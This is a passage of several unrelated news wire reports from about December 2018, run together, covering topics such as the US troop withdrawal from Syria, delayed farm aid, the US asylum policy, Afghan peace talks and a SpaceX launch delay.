below 50 percent. It was not immediately clear who would be in the team administrating the blind trust in case the final agreement is reached. But En+'s current board chairman Greg Barker is expected to be one of them, a banking source said. A representative of Barker, who initially devised the plan for talks with the OFAC, declined to comment. During a meeting on Thursday, En+'s shareholders will decide whether to give Barker powers to nominate independent directors to En+'s board of directors if talks with succeed. (Reporting by Pratima Desai, Katya Golubkova, Dmitry Zhdannikov, Tatiana Voronova, Polina Devitt, Darya Korsunskaya and Anastasia Lyrchikova; Additional reporting by Darya Korsunskaya and Oksana Kobzeva; writing by Polina Devitt; editing by Veronica Brown and David Evans) By Humeyra Pamuk and Jarrett Renshaw WASHINGTON/NEW YORK (Reuters) - The White House is delaying additional payments from a $12 billion aid package for farmers stung by President Donald Trump's trade war with China because it expects Beijing to resume buying U.S. soybeans, three sources familiar with the matter told Reuters. The move comes despite a lack of evidence in agricultural markets of any return by China to the U.S. soy market. China last year purchased about 60 percent of U.S. soybean exports, but it has not inked any new soybean deals since Beijing imposed tariffs on U.S. supplies in July. Trump told Reuters in an interview late on Tuesday that discussions to resolve U.S. trade disputes with Beijing were taking place by telephone, and that China was "just starting" to buy "tremendous amounts" of U.S. soybeans. The Office of Management and Budget at the White House is now holding up approval of the second and final tranche of aid payments Trump had promised farmers stung by the trade disputes due to concern over the cost of the program, and because it wants to see if the trade issues with China are resolved, the three sources told Reuters. The sources asked not to be named because the matter had not yet been made public. "It has been no secret that OMB has not been terribly excited about the trade aid package," one of the sources said. The source added, however, that the payments will likely eventually be approved after some "back and forth." The U.S. Department of Agriculture in July had authorized up to $12 billion in aid for farmers and ranchers hit by the fallout from Trump's escalating trade war with China and the agency outlined payments for the first half last August. An announcement on the second tranche had been expected in early December. Agriculture Secretary Sonny Perdue said on Dec. 3 that OMB was deliberating on the second round of trade aid, and that it could be outlined by the end of that week. On Tuesday, USDA spokesman Tim Murtaugh told Reuters that the agency was still in the "final stages" of the process of approving the second tranche of payments. "We are in discussions with the White House and anticipate that the second payment rates for the Market Facilitation Program will be published before the end of the year," Murtaugh said in a statement. The Office of Management and Budget declined to comment. CHINA COMEBACK? The sources said the White House was delaying its approval mainly on hopes China will soon resume purchases of soybeans, which has raised questions over how much aid farmers will need. China had imposed a 25 percent tariff on American soybeans in July in retaliation for U.S. tariffs on Chinese goods. Perdue said last week China will probably resume buying American soybeans around Jan. 1, after talks between Trump and Chinese President Xi Jinping during the G20 meeting about a potential trade ceasefire. However, little concrete evidence has emerged of a purchase looming and farmers have been on edge. Chicago Board of Trade soybean futures edged higher on Tuesday on hopes that new deals would be inked soon, but there were no signs of increased activity in the cash markets. U.S. Agriculture Department rules require exporters to promptly report sales of 100,000 tonnes or more of a commodity made in a single day. John Heisdorffer, the chairman of the American Soybean Association and a farmer in Iowa, said he feared the government was going to reduce the size of the aid payments to farmers on misplaced beliefs the trade pain was ending. "There are a lot of farmers that sold beans out of the field and that is done," Heisdorffer said. "They need to get the extra (support) to make sure that they're taken care of." (Additional reporting by Chris Prentice and Tom Polansek in Chicago, writing by Chris Prentice; editing by Richard Valdmanis, Chizu Nomiyama, Jonathan Oatis and Lisa Shumaker) By Ekaterina Kravtsova LONDON (Reuters) - U.S. oil major Exxon Mobil Corp has withdrawn its WCC liquefied natural gas (LNG) export terminal in Canada from the environmental assessment process, it said on Thursday, signaling that the project has been shelved. The decision to pare its LNG project portfolio follows the go-ahead of a giant Royal Dutch Shell-led project in British Columbia, and Exxon's focus on LNG projects in Asia, the Middle East and the United States. Global LNG demand is expected to double to 550 million tonnes per annum (mtpa) by 2030, as countries like China move away from coal to cleaner fuels. The top import market for LNG is northeast Asia. Exxon's West Coast Canada (WCC) LNG export project, located in northern British Columbia, was expected to produce around 15 million tonnes per year of LNG to serve Asian buyers, with plans for further expansion up to 30 million tonnes per year. The project was being jointly reviewed by the province and Canadian environmental regulators, an assessment that had been underway since 2015, though no major documents have been filed since 2016. Exxon formally withdrew from the process in a Dec. 5 letter to the British Columbia Environmental Assessment Office, posted on the regulator's website. "After careful review, ExxonMobil and Imperial (Oil Resources Ltd) have withdrawn the WCC LNG project from the environmental assessment process," a spokeswoman for ExxonMobil confirmed in an email. Exxon's decision signaled it is concentrating on LNG projects with Qatar Petroleum [QATPE.UL] and a proposed expansion of its chilled-gas operation in Papua New Guinea, said Jason Feer, head of business intelligence at Poten & Partners, LNG tanker brokers and consultants. "They have got a pretty robust pipeline of liquefaction projects globally. It would be natural to review that and see which would be competitive," he said. Exxon has been "taking advantage of opportunities as they become available to invest, restructure or divest assets to strengthen our long-term competitive position and provide the highest return to shareholders," said spokeswoman Julie King. Story continues LNG demand is growing but environmental groups say exports will boost carbon emissions in Canada, both through gas extraction and the liquefaction process. The WCC LNG export project planned to have liquefaction and storage facilities for natural gas, loading facilities and a third-party pipeline. Exxon's shares were off 3.12 percent at $68.57 apiece, the lowest since August 2015. (Reporting by Ekaterina Kravtsova in London; Additional reporting by Gary McWilliams in Houston and Julie Gordon in Vancouver; Editing by Jeffrey Benkoe and James Dalgleish) BEIRUT (AP) The Latest on the Trump administration's decision to withdraw U.S. troops from Syria (all times local): 10:50 p.m. Russia's U.N. Ambassador Vassily Nebenzia says "the pullout of all foreign forces which are in Syria illegally" would be a positive start to help stabilize the country and spur efforts toward a political solution of the seven-year war. Nebenzia was responding to a question at a U.N. panel on Wednesday about Russia's reaction to U.S. President Donald Trump's announcement that all U.S. troops will leave Syria. The Russian ambassador, whose country is a key ally of Syria, said it would fulfill a promise that Trump made. In his words, "If that happens ... I think that would be a good start for our fruitful future cooperation on the credible political process in Syria." He added, "I personally think that the pullout of all foreign forces which are in Syria illegally, illegitimately, and are de facto occupying much parts of the country will only help and facilitate the stabilization that we have been witnessing in Syria, especially in the last year." He also said the amnesty that Syria's government has offered to those who lay down their arms "will only go faster" if foreign troops leave and "if we finally see the separation and delineation between the terrorist groups and the so-called moderate opposition." ___ 8:35 p.m. The U.N. special envoy for Syria says "an extra mile" is needed to form a committee to draft a new constitution for the conflict-torn country because a list of participants submitted by Russia, Iran and Turkey is unacceptable to the United Nations. Staffan de Mistura said in his final briefing to the Security Council on Thursday before stepping down on Dec. 31 that the 50-member list was unbalanced, dropped experienced experts who are "natural bridge builders," and "needs a further review and revision." Story continues Forming a constitutional committee, which is key to holding free elections and hopefully ending the seven-year civil war, has been dogged by objections from the Syrian government over the list which the U.N. was authorized to draw up representing civil society, experts, independents, tribal leaders and women. ___ 8 p.m. A bipartisan group of senators is urging President Donald Trump to abandon his plan to withdraw U.S. troops from the war in Syria. Sens. Lindsey Graham of South Carolina, Bob Menendez of New Jersey and Jack Reed of Rhode Island say they have growing support for a resolution urging the president to change his strategy. Trump abruptly decided to withdraw troops against the advice of top military and diplomatic leaders. The move blindsided lawmakers on Capitol Hill. Graham on Thursday said Trump's decision is being celebrated by leaders in Russia, Iran and terrorist camps of the Islamic State group. He added, "We are all worried about the consequences." Graham said a big bipartisan group would support Trump if he reversed course. ___ 7:50 p.m. Israel's prime minister says he has spoken to President Donald Trump about Syria. Benjamin Netanyahu's office said late Thursday that the two leaders discussed "ways to continue cooperation between Israel and the United States against Iranian aggression." Earlier Thursday, Netanyahu said Israel would increase its activity in Syria against Iran following the U.S. decision to withdraw forces from the country. Israel says it will not allow archenemy Iran to establish a permanent military presence in Syria. It has carried out scores of airstrikes in recent years, primarily to prevent Iran from shipping what it says are sophisticated weapons to Hezbollah. ___ 7:30 a.m. The political coordinator at the U.S. Mission to the United Nations says the United States remains committed to the permanent destruction of the Islamic State group and other terrorist groups in Syria and around the world. Rodney Hunter spoke at a U.N. Security Council meeting on Syrian political developments. "As we have said, we will use all instruments of our national power to press for a withdrawal of Iranian-backed forces," he said Thursday. "We will continue to work together with our allies to fight terrorism," he added. Hunter spoke following an announcement by Trump that he intends to pull U.S. troops from northern Syria. He also said the U.S. will continue to advance a peaceful, diplomatic solution to the Syrian crisis. ___ 7:20 p.m. A senior French official says France does not "share the assessment" of U.S. President Donald Trump that the fight against the Islamic State group in Syria is over. The official, who was not authorized to speak publicly, said Thursday that French President Emmanuel Macron phoned Trump earlier this week to "tell him to continue the fight against" IS. The official said Macron told him the withdrawal if "made too quickly, would affect not only stability in the region, but also the security of the people and the Syrian Democratic Forces." U.S. officials said Wednesday that President Donald Trump is pulling all 2,000 U.S. troops out of Syria, as the president suddenly declared victory over IS. --Samuel Petrequin ___ 3:30 p.m. Thousands of Syrians have gathered outside the headquarters for the U.S.-led coalition in northern Syria to protest Turkish threats of an imminent offensive. The protesters congregating in Jalabiya southeast of Kobani city are demanding a clear stance from the coalition on threats by Turkish President Recep Tayyip Erdogan to strike at U.S.-backed Kurdish fighters in northern Syria. Turkey views the main Kurdish militia in Syria as a terrorist group and an extension of the insurgency within its borders. U.S. support for the group has strained ties between the two NATO allies. The protesters held banners in Kurdish and Arabic denouncing the Turkish threats as well as pictures of loved ones who died fighting the Islamic State group alongside U.S. troops. ___ 3 p.m. President Donald Trump is defending his decision to pull U.S. troops out of Syria. Trump tweets Thursday: "Does the USA want to be the Policeman of the Middle East, getting NOTHING but spending precious lives and trillions of dollars protecting others who, in almost all cases, do not appreciate what we are doing? Do we want to be there forever?" Officials announced Thursday that Trump was pulling all 2,000 U.S. troops out of Syria, as Trump declared victory over the Islamic State. But the move contradicted his own experts' assessments and sparked surprise and outrage from his party's lawmakers. Trump said Thursday that his decision in Syria should be "no surprise," adding "I've been campaigning on it for years." ___ 2:40 p.m. Germany is expressing concern that the U.S. decision to withdraw troops from Syria could undermine efforts to combat the Islamic State group. Foreign Minister Heiko Maas said in a statement Thursday that "the abrupt change of course by the American side comes as a surprise not only for us." He said that while IS has been pushed back, "the threat is not yet over." Maas says "there is a danger that the consequences of this decision could damage the fight against IS and endanger the successes that have been achieved." He pointed to "underground structures" and continued activity in eastern Syria. U.S. officials said Wednesday that President Donald Trump is pulling all 2,000 U.S. troops out of Syria, as the president suddenly declared victory over IS. ___ 2:15 p.m. Iranian President Hassan Rouhani says Iran and Turkey will continue their efforts to bring peace to Syria, a day after President Donald Trump announced the withdrawal of all U.S. forces from the war-torn country. Rouhani spoke Thursday during a joint news conference with Turkish President Recep Tayyip Erdogan. Neither commented on the U.S. decision, which came after Trump declared victory over the Islamic State group. Rouhani says Iran, Turkey and Russia will continue with the so-called Astana negotiations on Syria's future, with the next summit to be held in Russia. Iran and Russia have provided crucial military aid to Syrian President Bashar Assad, while Turkey supports the opposition. Rouhani says the people of Syria should decide the country's future, and "the territorial integrity of Syria should be respected." ___ 1:30 p.m. Prime Minister Benjamin Netanyahu says the Israeli military will "intensify" its activity in Syria to prevent Iranian entrenchment following the withdrawal of American forces from the country. Netanyahu spoke Thursday at a joint summit with the leaders of Greece and Cyprus, a day after President Donald Trump announced his decision to withdraw American troops from Syria. Netanyahu says Israel will "continue to act very aggressively against Iran's attempts to entrench in Syria," adding that it will do so with "complete support and backing from the United States." Israel has clandestinely carried out hundreds of airstrikes in Syria over the course of the seven-year civil war to prevent Iranian entrenchment near the border and to keep strategic weaponry from reaching Hezbollah in Lebanon. ___ 1 p.m. President Vladimir Putin has welcomed the U.S. decision to withdraw its forces from Syria. Speaking Thursday at his annual news conference, Putin said he agrees with U.S. President Donald Trump, who said Wednesday that the defeat of the Islamic State group removes the need for the U.S. military presence in the country. Putin reaffirmed the long-held Russian argument that the U.S. presence in Syria is illegitimate because it hasn't been vetted by the U.N. Security Council or approved by Syrian President Bashar Assad's government. Putin added that "if the U.S. decided to withdraw its contingent, it has done the right thing." Russia is a key ally of Assad, and its military intervention beginning in 2015 turned the tide of the war in his favor. The Russian leader says it remains to be seen if the U.S. carries out its intention, noting Washington's repeated promises to end its 17-year presence in Afghanistan. ___ 11:45 a.m. A U.S.-backed group in Syria has rejected President Donald Trump's claim that the Islamic State has been defeated and says the withdrawal of U.S. troops would lead to a resurgence of the extremist group. The group known as the Syrian Democratic Forces says in a statement that a premature U.S. troop pullout would have dangerous repercussions and a destabilizing effect on the region. It says Thursday that "the war against Islamic State has not ended and the group has not been defeated." It was the group's first response to Trump's surprise announcement Wednesday that he would be withdrawing all American forces from Syria. The decision has rattled Washington's Kurdish allies, who are its most reliable partner in Syria and among the most effective ground forces battling the IS group. ___ 11 a.m. President Donald Trump's decision to withdraw troops from Syria has rattled Washington's Kurdish allies, who are its most reliable partner in Syria and among the most effective ground forces battling the Islamic State group. Kurds in northern Syria said commanders and fighters met into the night, discussing their response to Wednesday's surprise announcement. Arin Sheikmos, a Kurdish journalist and commentator, says "we have every right to be afraid." The move is widely seen as an abandonment of a loyal ally, one that could prompt Turkey to launch a fresh offensive against the Kurds or drive the Kurds into a new alliance with Syrian President Bashar Assad, Iran and Russia. A Syrian member of parliament, Peter Marjana, said Thursday that a U.S. pullout would be a "recognition that Syria has won." By Joseph Ax (Reuters) - North Carolina's Republican-dominated legislature enacted a voter identification requirement on Wednesday, overriding Democratic Governor Roy Cooper's veto just weeks before they lose the power to do so. The move was among a series of last-minute steps taken by Republican lawmakers in several states following Democratic wins in November's elections. Democrats have castigated the efforts as power grabs, while Republicans have said they are simply doing their jobs. In Michigan, a Republican-backed bill that would curb the authority of the incoming Democratic secretary of state appeared dead on Wednesday. But other legislation that restricts Democrats' powers remains on the table, weeks after Democrats won the governor, attorney general and secretary of state's offices to end eight years of complete Republican control of the state's government. In neighboring Wisconsin, where Democrats also captured the governorship and other statewide offices to break Republicans' eight-year hold on the capitol, outgoing Republican Governor Scott Walker last week signed several bills limiting the powers of incoming Democrats. Democratic Governor-elect Tony Evers has said he will consider filing a legal challenge. The moves are reminiscent of North Carolina in 2016, when Republican legislators similarly targeted incoming Democratic Governor Roy Cooper. Many of those laws have been challenged in court. Last week in North Carolina, Cooper said he vetoed the state's voter ID law because it would suppress minority votes while addressing a problem, in-person voting fraud, that doesn't exist. But Republicans defended the law as a common-sense measure to secure elections. After the veto override on Wednesday, a nonprofit group, the Southern Coalition for Social Justice, immediately filed a lawsuit challenging the law. The controversy has come amid allegations of absentee ballot fraud in a still-unresolved congressional race. The Michigan state Senate, led by Republicans, passed a bill earlier this month that would transfer campaign finance oversight from the secretary of state to a new bipartisan commission. But the Republican-controlled House of Representatives declined to take up the bill on Wednesday, likely killing it. "This proposal would have effectively ended the enforcement of Michigan's campaign finance law," Democratic Secretary of State-elect Jocelyn Benson said on Twitter. Lawmakers are still considering other bills, including one allowing lawmakers to sidestep the attorney general and another making it harder for citizens to put voter initiatives on the ballot. Democrats, too, have been accused of using their power in partisan ways. In New Jersey, the Democratic-controlled legislature proposed amending the state constitution to effectively allow gerrymandering, the process by which legislative districts are drawn to favor one party over another. Lawmakers abandoned the proposal last week after criticism from Republicans, good government groups and Democratic Governor Phil Murphy. (Reporting by Joseph Ax in New York; Editing by Scott Malone and James Dalgleish) Gatwick Airport in London put everything on lockdown Thursday morning, including all outbound and inbound flights. The reason: drones.Airport authorities grounded all flights when they heard reports of two drones flying near the airport on Wednesday night. The Sussex police department was called in to assist in an investigation, but no further details were released. Airport staff were doing their best to accommodate affected passengers, but as of midday Thursday, all flights were still grounded.As the number of privately owned drones has increased, so too have concerns about the safety hazards that they create for airplanes. During the California Wine Country Fires in 2017, planes needed for suppression efforts were grounded when privately owned drones were spotted flying near the fires. HONOLULU (AP) A Hawaii Air National Guard civilian contractor was in serious condition Wednesday after his plane crashed off the coast of Honolulu during a military exercise, authorities said. The pilot of the Hawker Hunter jet ejected safely from the plane, Joint Base Pearl Harbor-Hickam said in a statement. He was initially rescued by a private sailboat and then transferred to the U.S. Coast Guard. Honolulu Emergency Services spokesman Dustin Malama said the 47-year-old appeared to have traumatic injuries and was taken to a hospital. Federal Aviation Administration spokesman Ian Gregor said a Hawker Hunter jet went down in the ocean around 2:25 p.m. after taking off from Honolulu's airport. The pilot was rescued about 3 miles (4.8 kilometers) south of Oahu near Honolulu's Sand Island, the U.S. Coast Guard said. The pilot had been participating in a military exercise called Sentry Aloha, which was temporarily suspended after the crash. The exercise will resume Thursday morning. The Hawaii Air National Guard was hosting the exercise, which involved about 800 personnel and 30 aircraft from nine states. The cause of the crash was under investigation, the military said. Departing flights from the Honolulu airport were held as a precaution for about 20 minutes, said Tim Sakahara, spokesman for the state Department of Transportation. The Hawker Hunter is a British jet developed in the late 1940s and early 1950s, said the website of defense contractor BAE Systems. Initially, a single-seat version was used as a maneuverable fighter aircraft. It was later used as both a fighter and bomber and for reconnaissance missions. The British navy and air force continued to use a two-seat version into the early 1990s. Britain exported the plane, and it was also used by the air forces of 21 other nations. In the administrations latest effort to clamp down on immigration from Central America, Homeland Security Secretary Kirstjen Nielsen announced Thursday that, effective immediately, asylum-seekers presenting themselves at the southern border will be returned to Mexico for the duration of their immigration proceedings, a process that often takes several years. The announcement came just days after two Honduran teenagers whod traveled to the U.S. border as part of the migrant caravan were killed in Tijuana while awaiting processing, and the new policy was met with immediate criticism from immigration and human rights advocates who cited the killings as evidence of the danger asylum seekers, especially children, face in Mexico. In long run, we are in support of countries in the region sharing responsibility to care for asylum seekers, [but] the problem here is that Mexico is a very long way away from being able to fulfill obligations under international law or even domestic law to adequately provide asylum, said Wendy Young, president of Kids in Need of Defense, or KIND, which provides pro-bono legal representation to unaccompanied children in immigration proceedings. Homeland Security Secretary Kirstjen Nielsen testifies before the House Judiciary Committee on Thursday. (Photo: Susan Walsh/AP) Young argued that Mexican border towns in particular attract heavy criminal elements, like smugglers or human traffickers waiting to prey on vulnerable people, particularly children who are alone. We saw that evidenced loud and clear through the [murder] of those two children, she said. A migrant walks along the border fence between Mexico and the United States in Tijuana on Nov. 15. (Photo: Carlos Garcia Rawlins/Reuters) At present, migrants who arrive seeking asylum at a recognized port of entry may have to wait in Mexico several weeks, or longer, before their initial processing by immigration officials, but if they are deemed to have a credible claim they often are paroled into the United States until they are called for a hearing. Now they will be sent back across the border to wait. At a hearing of the House Judiciary Committee, Nielsen implied the new policy would not apply to minors who arrive unaccompanied to seek asylum. In response to a question, she said border officials will continue to adhere to the Trafficking Victims Protection Reauthorization Act of 2008 (TVPRA), which mandates that unaccompanied immigrant children from noncontiguous countries (i.e. anywhere other than Mexico or Canada) must be allowed into the country and transferred into the custody of the Department of Health and Human Services within 72 hours of being apprehended at the border. Story continues But its not clear that law is being followed even now. Immigration advocates and legal service providers have reported that, at least in Tijuana, Mexican officials have been blocking unaccompanied children from accessing the official U.S. ports of entry to request asylum and preventing them from getting their names on the lengthy list of migrants waiting to do the same. During a recent trip to Tijuana with the American Academy of Pediatrics, Young said that KIND staff reported a horrific and chaotic situation at migrant shelters and campsites near the border. The staffers, she said, interviewed a number of unaccompanied children who, they felt, have truly viable asylum claims, but have been blocked by Mexican authorities from getting in line to make them. Young said she was highly suspicious of the Mexican governments motives for interfering with unaccompanied minors ability to request asylum, pointing out that children and teenagers are only protected by laws like the Trafficking Victims Act once they reach the border and present themselves to U.S. officials. Theres probably some kind of agreement between Mexican and U.S. authorities to keep kids on the Mexican side to prevent TVPRA from kicking in, she suggested. Nielsen faced questions about the use of so-called metering or queue management systems at ports of entry, which she said are necessary owing to limited capacity to process applicants at border crossings, including at Tijuana and between Juarez and El Paso. She gave no indication she was planning to change the system. But a DHS spokesperson told Yahoo News that the new policy of making asylum-seekers wait in Mexico is expected cut down on waiting periods. DHS officials also stated that the new rules would not apply to Mexican citizens attempting to seek asylum, as both U.S. and international law prevents the immediate return of asylum seekers to their home countries if they express a fear of persecution. But that policy also seems to be implemented haphazardly. Yahoo News recently reported that metering procedures in Juarez have forced Mexican citizens requesting asylum to wait in Mexico before being allowed to request asylum in the U.S. A migrant child, part of a caravan headed to the U.S., at a makeshift camp in Mexico City in November. (Photo: Hannah McKay/Reuters) Under existing U.S. policy, migrants who establish a credible fear of persecution or torture if returned to their home countries are generally released to a sponsor in the U.S., often monitored with an ankle bracelet, while they wait to make their claim before an immigration judge. Because of a massive backlog of cases, this process often takes several years. President Trump has long fumed about what he calls catch and release policies, and for several weeks, U.S. officials have been attempting to negotiate a deal with the Mexican government to keep migrants seeking asylum in the U.S. on the southern side of the border while their cases are pending. Under the measures announced Thursday, DHS officials said that migrants who request asylum at U.S. ports of entry will now be given a notice to appear in immigration court and sent back to Mexico until their hearings. While the Mexican Foreign Ministry confirmed Thursday that it had agreed to grant humanitarian visas to asylum seekers forced to wait in their country while seeking protections in the U.S., DHS officials made clear to reporters that the decision was made unilaterally, not in agreement with the Mexican government. Speaking on background, one DHS official said, We are pleased that once we formally made our decision, [Mexican authorities indicated] they will take on their side of border all appropriate measures to deal with our decision. However, not everyone finds Mexicos cooperation reassuring. Make no mistake Mexico is not a safe country for all people seeking protection, Amnesty International executive director Margaret Huang said in a statement. Many people seeking asylum in the United States face discrimination, exploitation, sexual assault, murder, or the possibility of being disappeared while traveling through Mexico or while forced to wait for extraordinarily long times in Mexican border towns. Women, children, and LGBTI people could face heightened and unacceptable risks. Asked to respond to such safety concerns, a DHS spokesperson told Yahoo News, The Mexicans have been responded that they will offer humanitarian protections. Many U.S. cities where they end up relocating have higher crime than Mexico. DHS officials indicated that, although the policy is effective immediately, the implementation would be rolled out in stages. They said specific details will be released in the next few days. While describing the policy as a humanitarian measure, one DHS official told reporters that it was expected to lead to huge cost savings for the U.S., which will no longer have to track large numbers of migrants for years. But first and foremost, the official said, we anticipate this will lead to a drop of illegal migration and false asylum claims. Young, however, predicted that requiring asylum seekers to remain in Mexico while their cases are adjudicated in the U.S. would lead to little more than a logistical nightmare. Fundamentally, the violence happening in Central America is whats driving people out. Thats not stopping, she said, noting that theres nothing in this new policy to stop that violence. People are going to keep coming, she continued. If they are being faced with these kinds of law enforcement initiatives, ultimately what we will do is drive them further underground. The only ones who profit at end of day are smugglers and traffickers. Read more from Yahoo News: CAIRO (Reuters) - Afghan peace talks held in the United Arab Emirates will yield "very positive results by the beginning of next year", the Saudi ambassador to Washington said on Thursday, adding to hopes of progress to end the 17-year war in Afghanistan. Khalid bin Salman added on his Twitter account that the talks were productive and would "help promote intra-Afghan dialogue toward ending the conflict". The U.S. special envoy for Afghan peace talks, Zalmay Khalilzad arrived in Kabul on Wednesday to meet government leaders following his discussions with Taliban representatives in Abu Dhabi earlier this week. Officials from Saudi Arabia and the United Arab Emirates took part in the Abu Dhabi meeting, at least the third encounter between Khalilzad and Taliban envoys since he was named to oversee the peace effort from Washington's side in September. In an interview with Afghanistan's Ariana Television, Khalilzad repeated that, ideally, an agreement would be reached before presidential elections, currently scheduled for April 20. "I think it would be great if we could reach a peace deal before the elections," he said, according to a transcript provided by the U.S. Embassy in Kabul. "But it doesn't only depend on Afghanistans government. It depends on the Taliban too," The United States insists that any peace settlement must be agreed between Afghans but the Taliban have so far publicly refused to talk directly to the Afghan government, which they say is an illegitimate, foreign-imposed regime. The urgency around the peace talks was heightened by President Donald Trump's unexpected decision this week, fulfilling a promise from his 2016 presidential election campaign, to withdraw U.S. troops from Syria. According to Western diplomats in Kabul, there is concern among some U.S. allies that Trump may decide a similar move in Afghanistan and Khalilzad is widely believed to have until the middle of next year to come up with a settlement. In a separate interview with Tolo News, Khalilzad said Trump was "in a hurry", having promised the American people that he wanted to end the war in Afghanistan. "But it should not be misinterpreted - we want peace here with respect to set objectives - that Afghanistan will not be a threat for the U.S. - and that we have a positive relationship with Afghanistan," he said. "... but if the Taliban are not prepared for that and war continues, then we will stand by the Afghan government and people," he said. Washington hopes Saudia Arabia and the UAE can push Pakistan to use its leverage on the Taliban to drop their refusal to talk directly with the Afghan government. Khalilzad said that during the Abu Dhabi meeting, the two countries had proposed a three-month ceasefire between the Taliban and the Afghan government but that the Taliban had asked for more time to consult with their leadership. "We told them, if they want peace or if they are serious about peace, they should sit with the Afghans and respond as soon as possible to the Emirati and Saudi suggestion." (Reporting by Nayera Abdallah in Cairo, and James Mackenzie in Kabul; Editing by Mark Heinrich and Alison Williams) DAKAR (Reuters) - Scientists in Sierra Leone have found live bats infected with Marburg virus, a deadly hemorrhagic fever similar to Ebola and so far undetected in West Africa, a U.S. government statement said on Thursday. The African fruit bat is the reservoir host of the virus, which has caused at least 12 outbreaks of hemorrhagic fever on the continent. Angola suffered the worst epidemic in 2005, when 90 percent of the 252 people infected in the southern African country died. The continent's most recent outbreak killed three people in Uganda last year. In a statement on Thursday, the U.S. Centers for Disease Control and Prevention (CDC) said five Egyptian rousette fruit bats caught in Sierra Leone tested positive for the Marburg virus. No human cases of the fever have so far been reported, although the presence of infected bats -- who do not show obvious signs of the disease -- increases the risk of contracting the virus. "We have known for a long time that rousette bats, which carry Marburg virus in other parts of Africa, also live in West Africa. So it's not surprising," said CDC ecologist Jonathan Towner in the statement. Symptoms and signs of Marburg include headache, vomiting blood, muscle pains and bleeding through various orifices. Transmission occurs through contact with infected body fluids and tissue, which bats shed when they feed on fruit. Sierra Leone was hit by West Africa's worst Ebola outbreak, which ran from 2013 and 2016 and killed at least 11,300 people in Guinea, Liberia and Sierra Leone. (Reporting by Sofia Christensen; editing by Martyn Herman) By Eric M. Johnson (Reuters) - Elon Musk's SpaceX halted on Wednesday the long-delayed launch of a navigation satellite for the U.S. military, failing to complete its first designated national security mission for the United States due to a technical issue with its rocket. SpaceX's Falcon 9 rocket, carrying a roughly $500 million global positioning system (GPS) satellite built by Lockheed Martin Corp, was slated to take off from Florida's Cape Canaveral shortly after 9 a.m. local time (1400 GMT). SpaceX said on Twitter it was standing down from the launch attempt of the GPS III to further evaluate an "out of family" reading on the rocket's first-stage sensors and would confirm a new launch date once that review was complete. A successful launch would have been a significant victory for Musk, a billionaire entrepreneur who spent years trying to break into the lucrative market for military space launches long dominated by Lockheed and Boeing Co. It was to mark SpaceX's first so-called National Security Space mission, as defined by the U.S. military, SpaceX said. SpaceX sued the U.S. Air Force in 2014 in protest over the military's award of a multibillion-dollar, non-compete contract for 36 rocket launches to United Launch Alliance, a partnership of Boeing and Lockheed. It later dropped the lawsuit after the Air Force agreed to open up competition. In 2016, SpaceX won an $83 million Air Force contract to launch the GPS III satellite, which will have a lifespan of 15 years. Wednesday's launch was set to be the first of 32 satellites in production by Lockheed under contracts worth a combined $12.6 billion for the Air Force GPS III program, Lockheed spokesman Chip Eschenfelder said. "Once fully operational, this latest generation of GPS satellites will bring new capabilities to users, including three times greater accuracy and up to eight times the anti-jamming capabilities," said Air Force spokesman William Russell. The launch was originally scheduled for 2014 but has been hobbled by production delays, the Air Force said. SpaceX first halted the launch on Tuesday due to the same technical warning with its sensor. The next GPS III satellite is due to launch in mid-2019, Eschenfelder said, while subsequent satellites undergo testing in the company's Colorado processing facility. (Reporting by Eric M. Johnson in Seattle, Editing by Rosalba O'Brien and Nick Zieminski) COLOMBO (Reuters) - Sri Lankan President Maithripala Sirisena appointed a 30-member cabinet on Thursday, retaining control over the police while they investigate an alleged plot to kill him that triggered a row with the premier and led to a lengthy political crisis. The cabinet announcement follows the reinstatement of Ranil Wickremesinghe as prime minister after the Supreme Court threw out Sirisena's order to dissolve parliament and hold elections. Sirisena had earlier fired Wickremesinghe, accusing his government of failing to seriously investigate the assassination plot. Wickremesinghe denies the allegation. The president retained control over the law and order ministry. "President kept the police with him temporarily till the investigations over the plot to kill him are over and till some reforms are introduced," said Rajitha Senaratne, who was reappointed health minister. Sirisena re-appointed Mangala Samaraweera finance minister, whose first task will be to secure parliament approval for a temporary budget aimed at avoiding a government shutdown from Jan. 1. The plot to kill the president, links to foreign intelligence, a rogue police officer and a missing sniper: the snippets of news emerging from the island nation in recent weeks seem plucked from the pages of paperback fiction. (Reporting by Ranga Sirilal and Shihar Aneez; Editing by Sanjeev Miglani and Nick Macfie) Ras al-Ain (Syria) (AFP) - Syrian Kurdish forces said Thursday they will keep fighting the Islamic State group in eastern Syria unless they come under Turkish attack, after their US allies announced their withdrawal. The Syrian Democratic Forces (SDF) stressed they would freeze operations if Turkey attacked, as widely expected after a pullout of US forces which have served as a buffer. "The Hajin battles continues," said Mustefa Bali, a spokesman for the Kurdish-dominated force, referring to the main front against IS in the Euphrates Valley. "The US decision is just a decision and does not yet affect the situation on the ground," Bali told AFP. According to the Syrian Observatory for Human Rights, fighting was ongoing on Thursday. Backed by air strikes from the US-led coalition, SDF forces last week seized Hajin, the largest village in the last pocket of territory still controlled by IS in eastern Syria. Hundreds of die-hard jihadists, however, have regrouped in Sousa and Al-Shaafa, the last two hubs in the ever-shrinking rump of the group's once sprawling "caliphate". "We have previously said that, if attacked, we would dedicate ourselves to the defence of our land," Bali said. "The scenario of a halt in the anti-terrorist battle is tied to Turkish threats," the SDF spokesman added. He also hinted the US pullout, which many Kurds see as a betrayal, could make Syria's autonomous Kurdish administration less inclined to retain custody of detained IS fighters whom Western countries do not want to return home. Bali did not suggest the Kurds would release detained jihadists but argued that Turkey risked targeting prisons in order to wreak chaos. "Of course, if Turkey attacks, it will affect the fate of these prisoners," he said. "Turkey may target these prisons as it tries to release these terrorists." The Kurds have repeatedly complained they do not have the capacity to handle the burden of more than 3,000 IS detainees and family members, urging Western powers to repatriate their nationals for trial at home. Wester powers, including countries with significant contingents of captured foreign fighters such as France, have been reluctant to take back jihadists. Protesters gathered outside the US-backed coalition base in Kobane on December 20 to highlight their anger over the US decision to withdraw from Syria and concerns about Turkish intentions there. The protesters demand a clear stance from the coalition against threats by Turkey to target US-backed Kurdish forces, whom the Turks consider terrorists. President Donald Trump announced on Wednesday that he would withdraw all US troops from Syria, a day after the US approved a $3.5 billion sale of Patriot missiles to Turkey. Turkey has not yet signed onto that deal. This footage shows protesters chant and march with banners which say Due to women resistance, ISiS terrorism was defeated. Turkish fascism will be defeated as well. Credit: Dastan-Nazm via Storyful WASHINGTON (AP) Military leaders were scrambling Thursday to devise a swift but safe departure of troops from Syria, as outraged lawmakers appealed to President Donald Trump to reverse an abrupt withdrawal order that rattled Washington's allies and was a key factor in the resignation of Defense Secretary Jim Mattis later in 